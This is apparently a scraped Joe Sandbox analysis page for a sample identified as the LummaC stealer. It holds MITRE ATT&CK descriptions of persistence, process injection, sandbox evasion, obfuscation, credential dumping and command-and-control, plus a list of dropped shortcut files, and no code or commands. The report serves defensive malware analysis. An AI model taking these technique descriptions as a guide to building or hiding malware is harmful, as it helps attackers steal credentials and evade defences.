Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report zhMQ0hNEmb.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Windows Analysis Report
zhMQ0hNEmb.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre